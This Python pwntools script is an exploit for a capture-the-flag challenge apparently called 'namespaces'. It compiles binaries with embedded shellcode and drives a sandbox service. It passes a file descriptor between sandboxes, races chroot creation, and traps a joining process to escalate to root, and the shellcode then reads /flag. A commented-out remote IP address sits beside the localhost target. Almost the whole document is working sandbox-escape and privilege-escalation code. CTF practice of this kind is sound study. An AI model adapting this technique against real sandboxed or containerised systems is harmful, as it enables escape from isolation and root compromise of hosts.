#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

import shutil

context.binary = 'namespaces'


def exploit():
    # compile all four binaries
    prepare_bins()

    global r
    # r = remote('35.246.140.24', 1)
    r = remote('localhost', 1337)
    r.recvuntil('> ')
    hook_recv(r)

    # start sandbox 0 and 1
    for _ in xrange(2):
        start_sandbox('sleep')
        r.recvuntil('[sleep]  Started sleep')

    # send fd in sandbox 0
    run_file(0, 'sendfd')
    r.recvuntil('[sendfd]  Accepting')

    # recv fd in sandbox 1, race creation of chroot for sandbox 2
    run_file(1, 'recvfd')
    r.recvuntil('[recvfd]  Starting race')

    # start sandbox 2, hope we win the race
    # inside sandbox 2, set a trap for the next process joining sandbox 2
    start_sandbox('escalate')
    r.recvuntil('[escalate]  Waiting for victim to join')

    # let a process join sandbox 2 to escalate to root
    run_file(2, 'sleep')

    r.recvuntil('DONE')


def start_sandbox(init):
    print
    success("Starting sandbox: %s", init)

    r.sendline('1')
    send_elf(init)


def run_file(idx, elf):
    print
    success("Running in sandbox #%d: %s", idx, elf)

    r.sendline('2')
    r.sendlineafter('which sandbox? ', str(idx))
    send_elf(elf)


def send_elf(elf):
    elf = bins[elf]

    r.sendlineafter('elf len? ', str(len(elf)))

    r.recvuntil('data? ')
    with context.local(log_level='INFO'):
        r.send(elf)

    log.debug("Sent ELF file")


def prepare_bins():
    global bins
    bins = {}

    names = 'sleep sendfd recvfd escalate'.split()
    rand = ''.join(random.choice(string.letters) for _ in xrange(10))
    sc = shellcode()

    directory = tempfile.mkdtemp()

    for name in names:
        os.system('gcc -Wall -Wextra -Wno-unused-function -O3 -static -m64 -o %s/bin binaries.c -DMAIN=%s -DRAND=%s -DSHELLCODE=%s' %
                  (directory, name, rand, sc))
        bins[name] = read(directory + '/bin')

    shutil.rmtree(directory)


def shellcode():
    sc = shellcraft.echo('[shellcode]  FLAG: ') + shellcraft.cat('/flag') + \
        shellcraft.echo('[shellcode]  DONE') + shellcraft.exit(0)

    sc = '\x90' * 16 + asm(sc)
    sc = '\x90' * (8 - (len(sc) % 8)) + sc
    assert len(sc) % 8 == 0

    print
    print "Shellcode:"
    print hexdump(sc)
    print

    sc = ','.join(map(str, unpack_many(sc, 8)))
    return sc


def hook_recv(r):
    old_recv = r.recv_raw

    def new_recv(*args, **kwargs):
        ret = old_recv(*args, **kwargs)

        for line in ret.splitlines():
            if '[' in line:
                print line[line.index('['):]

        return ret

    r.recv_raw = new_recv


if __name__ == '__main__':
    exploit()
